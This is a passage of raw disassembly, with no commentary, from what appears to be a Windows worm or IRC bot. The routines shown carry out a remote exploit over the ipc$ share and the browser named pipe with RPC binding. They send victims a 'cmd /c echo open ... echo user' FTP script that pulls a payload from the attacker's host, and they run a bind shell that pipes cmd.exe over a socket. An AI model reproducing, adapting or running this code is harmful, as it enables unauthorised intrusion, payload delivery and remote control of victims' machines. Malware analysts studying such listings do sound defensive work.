; ---------------------------------------------------------------------------


loc_40D40C:				; CODE XREF: sub_40CFB7+1C4j
					; sub_40CFB7+1CDj ...
		push	esi


loc_40D40D:				; CODE XREF: sub_40CFB7+269j
		call	dword_424204	; closesocket
		push	7D0h
		call	dword_424078	; Sleep
		push	0BEEFh
		lea	esi, [esp+1B0h+arg_136F8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_415BBD
		add	esp, 0C0h
		neg	al
		sbb	eax, eax
		neg	eax


loc_40D448:				; CODE XREF: sub_40CFB7+5Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 13894h
		retn
sub_40CFB7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D453	proc near		; CODE XREF: .nsp0:0040C8D6p

var_200		= byte ptr -200h
arg_0		= byte ptr  8
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_A0], 8Bh
		push	edi
		jz	short loc_40D478
		cmp	[ebp+arg_A0], 1BDh
		jnz	short loc_40D4B7


loc_40D478:				; CODE XREF: sub_40D453+17j
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40CFB7
		mov	esi, eax
		add	esp, 0BCh
		test	esi, esi
		jz	short loc_40D4B7
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413F3A
		mov	eax, [ebp+arg_A8]
		pop	ecx
		shl	eax, 6
		lea	eax, dword_4348A0[eax]
		inc	dword ptr [eax]


loc_40D4B7:				; CODE XREF: sub_40D453+23j
					; sub_40D453+44j
		mov	eax, esi
		pop	edi
		pop	esi
		leave
		retn
sub_40D453	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4BD	proc near		; CODE XREF: sub_40D5AA+24Ep

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CDF20	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_4CDEE4	; htons
		push	ebx
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4CDF60	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40D588
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CDE90	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D588
		mov	esi, 400h
		push	ebx
		lea	eax, [ebp+var_5A0]
		push	esi
		push	eax
		push	edi
		call	dword_4CDEFC	; recv
		mov	eax, offset byte_4260F8
		push	eax
		push	eax
		push	dword_4CDC38
		push	[ebp+arg_0]
		call	sub_409C7B
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_4186E0
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	ebx
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	edi
		call	dword_4CDF30	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D58C


loc_40D588:				; CODE XREF: sub_40D4BD+50j
					; sub_40D4BD+62j
		xor	al, al
		jmp	short loc_40D5A5
; ---------------------------------------------------------------------------


loc_40D58C:				; CODE XREF: sub_40D4BD+C9j
		push	ebx
		lea	eax, [ebp+var_5A0]
		push	esi
		push	eax
		push	edi
		call	dword_4CDEFC	; recv
		push	edi
		call	dword_4CDF78	; closesocket
		mov	al, 1


loc_40D5A5:				; CODE XREF: sub_40D4BD+CDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D4BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D5AA	proc near		; CODE XREF: sub_40D824+16p
					; sub_40D824+39p

var_1D24	= byte ptr -1D24h
var_D24		= byte ptr -0D24h
var_CF8		= byte ptr -0CF8h
var_CF4		= byte ptr -0CF4h
var_CF0		= byte ptr -0CF0h
var_CEC		= byte ptr -0CECh
var_A28		= byte ptr -0A28h
var_A24		= byte ptr -0A24h
var_4F4		= byte ptr -4F4h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_88		= byte ptr -88h
var_84		= byte ptr -84h
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_58		= byte ptr -58h
var_54		= byte ptr -54h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		mov	eax, 1D24h
		call	sub_418880
		push	ebx
		push	esi
		push	edi
		push	830h
		lea	eax, [ebp+var_D24]
		push	0
		push	eax
		call	sub_4182F0
		push	264h
		lea	eax, [ebp+var_2EC]
		push	0FFFFFF90h
		push	eax
		call	sub_4182F0
		push	15Bh
		lea	eax, [ebp+var_2EC]
		push	offset dword_436B20
		push	eax
		call	sub_419070
		push	4
		lea	eax, [ebp+var_88]
		pop	ebx
		push	ebx
		push	offset dword_436D4C
		push	eax
		call	sub_419070
		push	8
		lea	eax, [ebp+var_84]
		push	41h
		push	eax
		call	sub_4182F0
		mov	esi, offset dword_436D44
		push	ebx
		lea	eax, [ebp+var_7C]
		push	esi
		push	eax
		call	sub_419070
		add	esp, 48h
		lea	eax, [ebp+var_78]
		push	20h
		push	0FFFFFF90h
		push	eax
		call	sub_4182F0
		push	ebx
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		call	sub_419070
		push	8
		lea	eax, [ebp+var_54]
		push	42h
		push	eax
		call	sub_4182F0
		push	ebx
		lea	eax, [ebp+var_4C]
		push	esi
		push	eax
		call	sub_419070
		push	20h
		lea	eax, [ebp+var_48]
		push	0FFFFFF90h
		push	eax
		call	sub_4182F0
		push	2Ch
		lea	eax, [ebp+var_D24]
		push	offset dword_436ACC
		push	eax
		call	sub_419070
		add	esp, 48h
		mov	edi, offset dword_436D3C
		lea	eax, [ebp+var_CF8]
		push	ebx
		push	edi
		push	eax
		call	sub_419070
		mov	esi, offset dword_4D0BEC
		push	ebx
		lea	eax, [ebp+var_CF4]
		push	esi
		push	eax
		call	sub_419070
		push	ebx
		lea	eax, [ebp+var_CF0]
		push	edi
		push	eax
		call	sub_419070
		lea	eax, [ebp+var_2EC]
		push	2C4h
		push	eax
		lea	eax, [ebp+var_CEC]
		push	eax
		call	sub_419070
		push	ebx
		lea	eax, [ebp+var_A28]
		push	esi
		push	eax
		call	sub_419070
		push	1Ch
		lea	eax, [ebp+var_A24]
		push	offset dword_436AFC
		push	eax
		call	sub_419070
		add	esp, 48h
		lea	eax, [ebp+arg_4]
		mov	edi, 104h
		push	eax
		push	offset aSIpc	; "\\\\%s\\ipc$"
		lea	eax, [ebp+var_3F0]
		push	edi
		push	eax
		call	sub_4186E0
		lea	eax, [ebp+var_3F0]
		add	esp, 10h
		xor	esi, esi
		mov	[ebp+var_14], eax
		mov	eax, offset byte_4400B4
		push	esi
		push	eax
		push	eax
		lea	eax, [ebp+var_28]
		mov	[ebp+var_24], esi
		push	eax
		mov	[ebp+var_18], esi
		mov	[ebp+var_C], esi
		call	sub_417D3A
		test	eax, eax
		jz	short loc_40D74A
		push	offset aFailedToConnec ; "[-] Failed to	connect	to host	!\n"
		call	sub_419F4C
		pop	ecx


loc_40D743:				; CODE XREF: sub_40D5AA+1D6j
					; sub_40D5AA+229j ...
		xor	eax, eax


loc_40D745:				; CODE XREF: sub_40D5AA+275j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D74A:				; CODE XREF: sub_40D5AA+18Cj
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		lea	eax, [ebp+var_4F4]
		push	edi
		push	eax
		call	sub_4186E0
		add	esp, 10h
		lea	eax, [ebp+var_4F4]
		push	esi
		push	esi
		push	3
		push	esi
		push	esi
		push	0C0000000h
		push	eax
		call	dword_4240EC	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40D743
		push	offset aBindingToRpcIn ; "[+] Binding to RPC interface ... \n"
		call	sub_419F4C
		pop	ecx
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_1D24]
		push	1000h
		push	eax
		push	49h
		push	offset dword_436A80
		push	edi
		call	dword_4240F0	; TransactNamedPipe
		test	eax, eax
		jz	short loc_40D7CC
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_D24]
		push	830h
		push	eax
		push	edi
		call	dword_4240E0	; WriteFile
		test	eax, eax
		jnz	short loc_40D7D8


loc_40D7CC:				; CODE XREF: sub_40D5AA+204j
		push	edi
		call	dword_424068	; CloseHandle
		jmp	loc_40D743
; ---------------------------------------------------------------------------


loc_40D7D8:				; CODE XREF: sub_40D5AA+220j
		push	0FAh
		call	dword_424078	; Sleep
		push	115Ch
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40D4BD
		add	esp, 0C0h
		test	al, al
		jz	loc_40D743
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		lea	eax, dword_4348A0[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		inc	eax
		jmp	loc_40D745
sub_40D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D824	proc near		; CODE XREF: .nsp0:0040C8EEp

arg_0		= byte ptr  4

		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [esp+0C4h+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40D5AA
		add	esp, 0BCh
		test	eax, eax
		jnz	short loc_40D870
		sub	esp, 0BCh
		lea	esi, [esp+0C4h+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40D5AA
		add	esp, 0BCh
		neg	eax
		sbb	eax, eax
		neg	eax
		jmp	short loc_40D873
; ---------------------------------------------------------------------------


loc_40D870:				; CODE XREF: sub_40D824+23j
		xor	eax, eax
		inc	eax


loc_40D873:				; CODE XREF: sub_40D824+4Aj
		pop	edi
		pop	esi
		retn
sub_40D824	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D876	proc near		; CODE XREF: sub_40D964+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_42421C	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_4241F4	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_424208	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D944
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4241F8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D944
		mov	edi, 400h
		push	esi
		mov	esi, dword_424200
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_4260F8
		push	eax
		push	eax
		push	dword_4CDC38
		push	[ebp+arg_0]
		call	sub_409C7B
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_4186E0
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_42420C	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D948


loc_40D944:				; CODE XREF: sub_40D876+50j
					; sub_40D876+62j
		xor	eax, eax
		jmp	short loc_40D95F
; ---------------------------------------------------------------------------


loc_40D948:				; CODE XREF: sub_40D876+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	dword_424204	; closesocket
		xor	eax, eax
		inc	eax


loc_40D95F:				; CODE XREF: sub_40D876+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D876	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D964	proc near		; CODE XREF: sub_40B14D+1D7p
					; DATA XREF: .nsp0:off_43489Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CDF20	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CDEE4	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_424208	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D9D6
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4241F8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40D9B7
		push	esi
		jmp	short loc_40D9D0
; ---------------------------------------------------------------------------


loc_40D9B7:				; CODE XREF: sub_40D964+4Ej
		push	0
		push	1213h
		push	offset dword_436D58
		push	esi
		call	dword_42420C	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40D9DA


loc_40D9D0:				; CODE XREF: sub_40D964+51j
		call	dword_424204	; closesocket


loc_40D9D6:				; CODE XREF: sub_40D964+3Cj
		xor	eax, eax
		jmp	short loc_40DA18
; ---------------------------------------------------------------------------


loc_40D9DA:				; CODE XREF: sub_40D964+6Aj
		call	dword_424204	; closesocket
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40D876
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40DA15
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		lea	eax, dword_4348A0[eax]
		inc	dword ptr [eax]


loc_40DA15:				; CODE XREF: sub_40D964+9Ej
		xor	eax, eax
		inc	eax


loc_40DA18:				; CODE XREF: sub_40D964+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40D964	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40DA1C	proc near		; DATA XREF: sub_40DAAA+15Bo

var_404		= byte ptr -404h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40DA25:				; CODE XREF: sub_40DA1C+25j
					; sub_40DA1C+41j
		push	0
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4D0C04
		call	dword_4CDEFC	; recv
		test	eax, eax
		jle	short loc_40DA25
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	dword_4D0C00
		call	dword_4240E0	; WriteFile
		jmp	short loc_40DA25
sub_40DA1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40DA5F	proc near		; DATA XREF: sub_40DAAA+142o

var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40DA68:				; CODE XREF: sub_40DA5F+2Fj
					; sub_40DA5F+49j
		lea	eax, [ebp+var_4]
		and	[ebp+var_4], 0
		push	0
		push	eax
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4D0BF4
		call	dword_4240E8	; ReadFile
		cmp	[ebp+var_4], 0
		jle	short loc_40DA68
		push	0
		lea	eax, [ebp+var_404]
		push	[ebp+var_4]
		push	eax
		push	dword_4D0C04
		call	dword_4CDF30	; send
		jmp	short loc_40DA68
sub_40DA5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40DAAA	proc near		; DATA XREF: sub_401AA1+2878o

var_11C		= byte ptr -11Ch
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_38		= word ptr -38h
var_36		= word ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	28h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_11C]
		rep movsd
		xor	esi, esi
		xor	edi, edi
		inc	esi
		push	10h
		mov	[eax+98h], esi
		lea	eax, [ebp+var_38]
		push	edi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		mov	[ebp+var_38], 2
		push	[ebp+var_98]
		call	dword_4CDEE4	; htons
		push	6
		push	esi
		push	2
		mov	[ebp+var_36], ax
		call	dword_4CDF60	; socket
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDF10	; bind
		push	5
		push	[ebp+arg_0]
		call	dword_4CDF0C	; listen
		mov	ebx, dword_424100
		mov	esi, dword_424068


loc_40DB2A:				; CODE XREF: sub_40DAAA+1CBj
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	dword_4CDF74	; accept
		mov	dword_4D0C04, eax
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4D0C00
		push	offset dword_4D0BFC
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], edi
		call	ebx	; CreatePipe
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4D0BF8
		push	offset dword_4D0BF4
		call	ebx	; CreatePipe
		push	44h
		lea	eax, [ebp+var_7C]
		push	edi
		push	eax
		call	sub_4182F0
		mov	eax, dword_4D0BFC
		add	esp, 0Ch
		mov	[ebp+var_44], eax
		mov	eax, dword_4D0BF8
		mov	[ebp+var_40], eax
		push	edi
		push	1
		lea	eax, [ebp+var_3C]
		push	2
		push	eax
		mov	[ebp+var_7C], 44h
		mov	[ebp+var_50], 101h
		mov	[ebp+var_4C], di
		call	dword_4240FC	; GetCurrentProcess
		push	eax
		push	dword_4D0BF8
		call	dword_4240FC	; GetCurrentProcess
		push	eax
		call	dword_4240F8	; DuplicateHandle
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	edi
		push	edi
		push	4000090h
		lea	eax, [ebp+var_C]
		push	1
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aCmd_exe	; "cmd.exe"
		push	edi
		call	dword_42406C	; CreateProcessA
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40DA5F
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_42407C	; CreateThread
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40DA1C
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_42407C	; CreateThread
		push	0FFFFFFFFh
		mov	[ebp+var_10], eax
		push	[ebp+var_28]
		call	dword_4240A0	; WaitForSingleObject
		push	edi
		push	[ebp+var_10]
		call	dword_4240AC	; TerminateThread
		push	edi
		push	[ebp+var_14]
		call	dword_4240AC	; TerminateThread
		push	[ebp+var_10]
		call	esi	; CloseHandle
		push	[ebp+var_14]
		call	esi	; CloseHandle
		push	edi
		push	[ebp+var_28]
		call	dword_4240F4	; TerminateProcess
		push	dword_4D0BFC
		call	esi	; CloseHandle
		push	dword_4D0C00
		call	esi	; CloseHandle
		push	dword_4D0BF4
		call	esi	; CloseHandle
		push	dword_4D0BF8
		call	esi	; CloseHandle
		push	[ebp+var_24]
		call	esi	; CloseHandle
		push	[ebp+var_28]
		call	esi	; CloseHandle
		jmp	loc_40DB2A
sub_40DAAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40DC7A	proc near		; DATA XREF: .nsp0:00426010o
		jmp	$+5
sub_40DC7A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40DC7F	proc near
		push	0FFFEh
		push	400h
		call	sub_415DD7
		pop	ecx
		mov	dword_4D0C08, eax
		pop	ecx
		retn
sub_40DC7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC96	proc near		; DATA XREF: sub_40AAE8+352o

var_6C0		= byte ptr -6C0h
var_2C0		= byte ptr -2C0h
var_C0		= byte ptr -0C0h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 6C0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	27h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		xor	esi, esi
		xor	ebx, ebx
		inc	esi
		push	10h
		mov	[eax+98h], esi
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_A4]
		call	dword_4CDEE4	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], ebx
		call	dword_4CDF60	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jnz	short loc_40DD3D
		cmp	[ebp+var_1C], ebx
		jnz	short loc_40DD1D
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_408BC1
		add	esp, 14h


loc_40DD1D:				; CODE XREF: sub_40DC96+65j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413F3A
		push	[ebp+var_AC]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread


loc_40DD3D:				; CODE XREF: sub_40DC96+60j
		mov	eax, [ebp+var_AC]
		push	10h
		imul	eax, 234h
		mov	dword_440E44[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4CDF10	; bind
		cmp	eax, esi
		mov	ebx, 400h
		jnz	loc_40DE38
		call	dword_4CDE80	; WSAGetLastError
		cmp	eax, 2740h
		jz	short loc_40DDBD
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40DD9D
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_408BC1
		add	esp, 14h


loc_40DD9D:				; CODE XREF: sub_40DC96+E5j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413F3A
		push	[ebp+var_AC]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4240CC	; ExitThread


loc_40DDBD:				; CODE XREF: sub_40DC96+DEj
		push	0FFFEh
		push	ebx
		call	sub_415DD7
		pop	ecx
		mov	dword_4D0C08, eax
		pop	ecx
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	dword_4CDF10	; bind
		cmp	eax, esi
		jnz	short loc_40DE38
		call	dword_4CDE80	; WSAGetLastError
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40DE18
		cmp	eax, 2740h
		jz	short loc_40DE18
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_408BC1
		add	esp, 14h


loc_40DE18:				; CODE XREF: sub_40DC96+159j
					; sub_40DC96+160j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413F3A
		push	[ebp+var_AC]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4240CC	; ExitThread


loc_40DE38:				; CODE XREF: sub_40DC96+CDj
					; sub_40DC96+14Cj
		push	5
		push	edi
		call	dword_4CDF0C	; listen
		cmp	eax, esi
		jz	loc_40DF1D
		mov	[ebp+var_4], 10h
		mov	esi, offset byte_4260F8


loc_40DE55:				; CODE XREF: sub_40DC96+1D7j
					; sub_40DC96+227j ...
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	edi
		call	dword_4CDF74	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40DE55
		cmp	[ebp+var_1C], 0
		jnz	short loc_40DE96
		push	0
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_408BC1
		add	esp, 14h


loc_40DE96:				; CODE XREF: sub_40DC96+1DDj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413F3A
		pop	ecx
		lea	eax, [ebp+var_2C0]
		push	0
		push	200h
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDEFC	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DE55
		push	esi
		push	esi
		push	dword_4CDC38
		push	[ebp+var_B0]
		call	sub_409C7B
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"...
		lea	eax, [ebp+var_6C0]
		push	ebx
		push	eax
		call	sub_4186E0
		add	esp, 1Ch
		lea	eax, [ebp+var_6C0]
		push	0
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6C0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDF30	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DE55
		inc	dword_4D0C0C
		jmp	loc_40DE55
; ---------------------------------------------------------------------------


loc_40DF1D:				; CODE XREF: sub_40DC96+1ADj
		push	edi
		call	dword_4CDF78	; closesocket
		push	[ebp+var_AC]
		call	sub_40A446
		pop	ecx
		push	0
		call	dword_4240CC	; ExitThread
sub_40DC96	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF38	proc near		; DATA XREF: sub_40AAE8+22Bo

var_A70		= byte ptr -0A70h
var_8E0		= byte ptr -8E0h
var_6E0		= dword	ptr -6E0h
var_4C8		= byte ptr -4C8h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= dword	ptr -43Ch
var_338		= byte ptr -338h
var_2D4		= byte ptr -2D4h
var_2A0		= byte ptr -2A0h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_138		= byte ptr -138h
var_128		= byte ptr -128h
var_FC		= byte ptr -0FCh
var_C8		= byte ptr -0C8h
var_B0		= byte ptr -0B0h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_3C		= byte ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A70h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6E0]
		inc	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A70]
